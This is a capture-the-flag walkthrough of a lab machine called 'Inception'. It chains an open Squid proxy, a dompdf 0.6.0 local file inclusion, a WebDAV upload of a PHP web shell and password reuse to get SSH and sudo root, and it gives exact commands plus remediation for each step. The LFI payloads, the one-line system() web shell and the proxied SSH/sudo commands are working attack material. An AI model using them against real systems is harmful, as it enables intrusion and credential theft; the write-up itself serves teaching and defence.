← all walkthroughs

Inception

Linux· Medium· Web
owned
2026-07-08
time to own
19m18s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I found two internet-exposed services on inception ($TARGET): Apache 2.4.18 on port 80 and a fully open, unauthenticated Squid HTTP proxy on port 3128. The proxy was used as a pivot to reach the SSH daemon, which was bound to localhost only and not otherwise reachable from the internet.

An outdated dompdf 0.6.0 library served by Apache was exploited to read arbitrary files on the server, including the Apache virtual-host configuration, which disclosed the path and credentials for a WebDAV upload directory. Those credentials were used to upload a PHP web shell through WebDAV, giving command execution as the web-server user www-data.

The web shell was then used to read WordPress's database-configuration file, recovering a plaintext database password. That single password was reused verbatim as the SSH login for local user 'cobb' — tunnelled through the open Squid proxy — and again as the password accepted by sudo, granting full root access without any additional exploit.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export INTERNAL_HOST="<second-host-reached-after-pivoting>"
export PASSWORD="<a-password-you-choose>"
export PASSWORD2="<a-password-you-choose>"

Attack path — how the box was taken

1ReconnaissanceNetwork port and service enumeration (T1046)
Enumerated exposed services — Apache and an open Squid proxy
A port scan of the target revealed Apache httpd 2.4.18 on port 80, serving a default 'It works!' page, and Squid HTTP proxy 3.5.12 on port 3128 with no authentication configured. Routing a request through the proxy to localhost confirmed it forwarded freely to 127.0.0.1, and the Squid internal cache-manager interface was reachable without credentials — confirming the proxy was completely open.
Nmap output: 80/tcp Apache httpd 2.4.18; 3128/tcp Squid http proxy 3.5.12. Curl through proxy to 127.0.0.1 returned the same Apache default page.
Exact commands 3
Service-version scan of both open ports.
nmap -sV -sC -p 80,3128 $TARGET
Confirm Apache default page on port 80.
curl -sS -i http://$TARGET/
Confirm the Squid proxy forwards to localhost with no authentication required.
curl -sS -i -x http://$TARGET:3128 http://127.0.0.1/
2ExploitationOpen proxy abuse / internal network pivot (T1090)
Used the open Squid proxy as a network pivot to internal services
The Squid proxy accepted CONNECT requests from external hosts and forwarded them to 127.0.0.1 and internal subnets with no ACL restrictions. This exposed the SSH daemon on localhost port 22 — which was deliberately firewalled from the internet — and any other internal web application running on the host. All subsequent attack traffic was routed through this proxy.
Curl -x http://$TARGET:3128 http://127.0.0.1/ returned Apache page; CONNECT to 127.0.0.1:22 succeeded, confirming SSH was reachable through the proxy.
Exact commands 2
Route HTTP through Squid to localhost — confirms unrestricted internal access.
curl -sS -i -x http://$TARGET:3128 http://127.0.0.1/
Probe internal web paths through the proxy to discover installed software.
curl -sS -i -x http://$TARGET:3128 http://127.0.0.1/dompdf/VERSION
FixRestrict or disable the unauthenticated Squid HTTP proxyCritical
WeaknessThe Squid proxy on port 3128 required no authentication and enforced no ACL restrictions on destination hosts, allowing an unauthorised user to reach localhost and internal network services — including the SSH daemon — that the host firewall otherwise blocked from the internet. The proxy effectively punched a hole in the network perimeter.
FixIf the proxy is not required externally, block TCP 3128 at the perimeter firewall immediately. If the proxy must remain, require digest or basic authentication (http_access deny !authenticated) and restrict allowed destinations to an explicit whitelist of approved external hosts only — specifically deny forwarding to 127.0.0.1, ::1, and all RFC-1918 address ranges ($INTERNAL_HOST/8, $INTERNAL_HOST/12, $INTERNAL_HOST/16) using a 'no_proxy' or localnet ACL with a matching http_access deny directive.
3ExploitationLocal File Inclusion via dompdf 0.6.0 (CVE-2014-2383)
Exploited outdated dompdf 0.6.0 to read arbitrary server-side files
Probing the web root through the proxy revealed dompdf version 0.6.0 installed under /dompdf/. This version contains a well-known local file inclusion vulnerability (CVE-2014-2383): by embedding a crafted PHP stream-wrapper URI in a PDF rendering request, I can instruct dompdf to open any file readable by the web-server process and return its contents base64-encoded inside the generated PDF. I used this to read /etc/passwd, confirming the local user 'cobb', and the Apache virtual-host configuration.
Curl to /dompdf/VERSION returned '0.6.0'; LFI payload against dompdf.php returned base64-encoded content of /etc/passwd.
Exact commands 3
Confirm the installed dompdf version is vulnerable.
curl -sS "http://$TARGET/dompdf/VERSION"
Read /etc/passwd via the LFI; replace the resource path to target any file.
curl -sS "http://$TARGET/dompdf/dompdf.php?input_file=php://filter/read=convert.base64-encode/resource=/etc/passwd" -o /tmp/lfi.pdf && strings /tmp/lfi.pdf | grep -oP '(?<=stream\n)[A-Za-z0-9+/=]+' | base64 -d
Read the Apache vhost config to find hidden paths and credential file references.
curl -sS "http://$TARGET/dompdf/dompdf.php?input_file=php://filter/read=convert.base64-encode/resource=/etc/apache2/sites-enabled/000-default.conf" -o /tmp/vhost.pdf && strings /tmp/vhost.pdf | grep -oP '(?<=stream\n)[A-Za-z0-9+/=]+' | base64 -d
FixRemove or update dompdf to eliminate the local file inclusion vulnerabilityCritical
Weaknessdompdf version 0.6.0 was installed and web-accessible under /dompdf/. This version contains CVE-2014-2383, a local file inclusion flaw that lets any unauthenticated visitor request a PDF containing any file readable by the web-server process and receive its contents base64-encoded in the response. An unauthorised user used it to read Apache configuration files and discover credentials without ever authenticating.
FixUpdate dompdf to version 0.8.6 or later, in which the LFI is patched. If dompdf is not required by any current application, delete the /dompdf/ directory from the web root entirely. As defence-in-depth, add a deny-all rule in Apache for any /dompdf/ path so accidental reinstallation does not immediately re-expose the endpoint, and disable the php://filter and file:// stream wrappers in php.ini if no application requires them.
4Credential AccessCredential extraction from configuration files (T1552.001)
Extracted WebDAV credentials from the Apache configuration file
The virtual-host configuration retrieved in the previous step disclosed a WebDAV-enabled directory alias at /webdav_test_inception/ and referenced a password file. A follow-up LFI read of that password file, combined with direct testing against the WebDAV endpoint, confirmed the credentials webdav_tester:[REDACTED: recovered credential] in plain text. The WebDAV endpoint was also directly reachable on port 80 without going through the proxy.
Apache vhost config contained Alias /webdav_test_inception and AuthUserFile path; webdav_tester:[REDACTED: recovered credential] accepted by PROPFIND request.
Exact commands 2
Identify the WebDAV path and password-file location from the vhost config.
curl -sS "http://$TARGET/dompdf/dompdf.php?input_file=php://filter/read=convert.base64-encode/resource=/etc/apache2/sites-enabled/000-default.conf" -o /tmp/vhost.pdf && strings /tmp/vhost.pdf | grep -oP '(?<=stream\n)[A-Za-z0-9+/=]+' | base64 -d | grep -iE 'webdav|htpasswd|AuthUserFile'
Confirm the discovered credentials are valid on the WebDAV endpoint.
curl -sS -u 'webdav_tester:$PASSWORD2' -X PROPFIND http://$TARGET/webdav_test_inception/ -H 'Depth: 1'
FixKeep credentials out of web-accessible and world-readable configuration filesHigh
WeaknessThe Apache virtual-host configuration — readable by the web-server process and therefore via the dompdf LFI — stored the WebDAV password-file path in clear text. The WordPress configuration file wp-config.php, readable by www-data and therefore via the web shell, stored the database password in plain text. Any file-read vulnerability immediately cascades into a full credential harvest when secrets are stored this way.
FixMove the WebDAV password file to a path outside the web root (for example /etc/apache2/webdav.passwd) with permissions 640 root:www-data so the web-server can read it but it is not exposed via file-disclosure bugs in web code. For WordPress, move database credentials into environment variables set in the server's process environment (e.g., Apache SetEnv directives in a file not under the web root) and reference them with getenv() in wp-config.php rather than hardcoding them. Audit all configuration files accessible to www-data and confirm none contain credentials.
5ExploitationUnrestricted file upload via WebDAV leading to web shell (T1505.003)
Uploaded a PHP web shell via WebDAV and gained remote code execution as www-data
The WebDAV endpoint permitted authenticated HTTP PUT requests with no restriction on file type or extension. I uploaded a one-line PHP web shell (s.php) that passes a query-string parameter directly to system(). Requesting the uploaded file through Apache executed it in the context of the web-server process owner (www-data), giving arbitrary operating-system command execution on the host.
PUT request for s.php returned HTTP 201 Created; GET request with ?cmd=id returned uid=33(www-data) gid=33(www-data) hostname Inception.
Exact commands 3
Create the web shell file locally.
echo '<?php if(isset($_REQUEST["cmd"])){ system($_REQUEST["cmd"]); } ?>' > /tmp/s.php
Upload the web shell via HTTP PUT.
curl -sS -u 'webdav_tester:$PASSWORD2' -T /tmp/s.php "http://$TARGET/webdav_test_inception/s.php"
Confirm code execution as www-data on host Inception.
curl -sS --max-time 8 -u 'webdav_tester:$PASSWORD2' "http://$TARGET/webdav_test_inception/s.php?cmd=id;hostname;pwd"
FixDisable PHP execution in the WebDAV upload directory and restrict uploadable file typesCritical
WeaknessThe WebDAV endpoint at /webdav_test_inception/ accepted authenticated HTTP PUT requests for any file type, including .php files, and Apache then executed those files when they were requested. This gave any holder of the WebDAV credentials the ability to run arbitrary code on the server as www-data with a single two-step upload-then-request sequence.
FixAdd a PHP engine-off directive specifically for the WebDAV upload directory in the Apache vhost config (php_admin_flag engine Off inside the Directory block), so that even if a PHP file is uploaded it will be served as plain text rather than executed. Additionally restrict the DAV LimitExcept to allow only safe extensions by validating uploads at the application layer, or use mod_security to reject PUT requests for executable file types. If WebDAV is not actively required, disable mod_dav in Apache entirely.
6Credential AccessCredentials from application configuration files (T1552.001)
Read wp-config.php through the web shell to recover the WordPress database password
With command execution as www-data, I located the WordPress installation and read its configuration file, wp-config.php, which stored the database password in plain text. The password [REDACTED: recovered credential] was extracted. Because www-data could not read /home/cobb/user.txt directly, I planned to try this password for system-level authentication — a common pattern when developers reuse application passwords for operating-system accounts.
Curl with cmd='cat /var/www/html/.../wp-config.php' returned DB_PASSWORD value [REDACTED: recovered credential] in plain text.
Exact commands 3
Locate the WordPress config file on the server.
curl -sS -u 'webdav_tester:$PASSWORD2' --get --data-urlencode 'cmd=find /var/www/html -name wp-config.php 2>/dev/null' "http://$TARGET/webdav_test_inception/s.php"
Read wp-config.php; adjust path to match find output above.
curl -sS -u 'webdav_tester:$PASSWORD2' --get --data-urlencode 'cmd=cat /var/www/html/wordpress/wp-config.php' "http://$TARGET/webdav_test_inception/s.php"
List interactive local user accounts to identify targets for password reuse.
curl -sS -u 'webdav_tester:$PASSWORD2' --get --data-urlencode 'cmd=cat /etc/passwd | grep -v nologin | grep -v false' "http://$TARGET/webdav_test_inception/s.php"
7Lateral MovementSSH access through proxy tunnel with credential reuse (T1021.004, T1090)
SSH'd to local user 'cobb' through the Squid proxy tunnel using the reused database password
SSH on the target was bound only to 127.0.0.1 and was not reachable directly from the internet. I used proxytunnel to wrap an SSH connection inside an HTTP CONNECT request through the open Squid proxy, reaching the internal SSH daemon. The WordPress database password was tried for the account 'cobb' and accepted immediately, establishing a full interactive shell as cobb (uid=1000) and yielding the user flag.
Sshpass + proxytunnel command returned uid=1000(cobb) gid=1000(cobb) hostname Inception; /home/cobb/user.txt readable as <user.txt>.
Exact commands 1
SSH to cobb via the Squid proxy; user.txt value is <user.txt>.
sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o ConnectTimeout=10 -o ProxyCommand="proxytunnel -q -p $TARGET:3128 -d 127.0.0.1:22" cobb@127.0.0.1 'id; hostname; cat /home/cobb/user.txt'
FixEnforce unique passwords per account and disable sudo password authenticationCritical
WeaknessThe WordPress database password [REDACTED: recovered credential] was identical to the SSH login password for local user 'cobb' and was also accepted by sudo for unrestricted root access. One plaintext secret exposed from a configuration file unlocked the database, a system shell, and full root control — no exploit was needed beyond reading a file.
FixImmediately rotate all credentials exposed in this engagement (WebDAV, WordPress database, cobb's OS account, and any shared or derived passwords). Going forward, assign each credential — database passwords, SSH account passwords, sudo secrets — a unique randomly generated value of at least 20 characters stored in a secrets manager. Disable SSH password authentication entirely (PasswordAuthentication no in /etc/ssh/sshd_config) and require key-based login with per-user key pairs. Replace any blanket NOPASSWD or password-based sudo rules for cobb with specific, command-scoped allowlist entries for only the administrative tasks that account legitimately requires.
8Privilege EscalationPrivilege escalation via sudo with reused password (T1078.003)
Escalated to root by reusing cobb's password for unrestricted sudo
Once logged in as cobb, I ran sudo with the same password used for SSH authentication. The system accepted it without restriction and granted an immediate root shell. No exploit, kernel vulnerability, or additional tool was needed. A single reused password served as the key to the database, the operating-system account, and full administrative control. The root flag was read directly.
Printf '[REDACTED: recovered credential]\n' | sudo -S sh -c 'id' returned uid=0(root) gid=0(root); root.txt read as <root.txt>.
Exact commands 2
SSH as cobb and immediately sudo to root; root.txt value is <root.txt>.
sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o ConnectTimeout=10 -o ProxyCommand="proxytunnel -q -p $TARGET:3128 -d 127.0.0.1:22" cobb@127.0.0.1 "printf '%s\n' '$PASSWORD' | sudo -S sh -c 'id; cat /root/root.txt'"
Post-exploitation cleanup: remove the uploaded web shell.
curl -sS -u 'webdav_tester:$PASSWORD2' -X DELETE http://$TARGET/webdav_test_inception/s.php

Attack patterns used

The transferable techniques behind this compromise.

CMS Exploitation (WordPress/Joomla/Drupal)WebT1190

What it is

Content management systems and their plugins/themes are a large attack surface: known-vulnerable versions, exposed admin panels, weak credentials, and insecure plugins lead to authenticated or unauthenticated RCE. wpscan enumerates WordPress versions/plugins/users; Joomla and Drupal have their own well-known RCE chains (e.g. Drupalgeddon).

Why it works

CMS deployments lag on patching and accumulate third-party plugins of varying quality, while admin interfaces are exposed. Remediate by patching core+plugins promptly, removing unused extensions, restricting admin access, and enforcing strong auth.

Read more

Password / Credential ReuseCredential Access · Lateral MovementT1078

What it is

A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.

Why it works

Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.

Read more

Unrestricted File UploadWebT1505.003

What it is

An upload feature that doesn't properly validate file type/content lets an unauthorised user upload a server-side script (.php, .phtml, .jsp, .aspx) and then browse to it for code execution. Bypasses include double extensions, MIME spoofing, magic-byte tricks, and abusing permissive .htaccess.

Why it works

Validation is often done on the client or on an easily-spoofed extension/MIME rather than on content and storage location. Remediate by storing uploads outside the web root, randomizing names, enforcing an allow-list by content, and disabling execution in the upload directory.

Read more

Local File InclusionWebT1190

What it is

A web app builds a file path from user input (?page=../../etc/passwd), letting an unauthorised user read arbitrary files or, via log poisoning, PHP wrappers (php://filter, data://), or session files, achieve code execution. LFI commonly leaks credentials, SSH keys, and source code that feed the next step.

Why it works

The app trusts a path parameter and fails to constrain it to an allow-list. Remediate by mapping identifiers to fixed file paths, disabling dangerous PHP wrappers, and canonicalizing/validating paths.

Read more

Exposed services

80/tcp
3128/tcp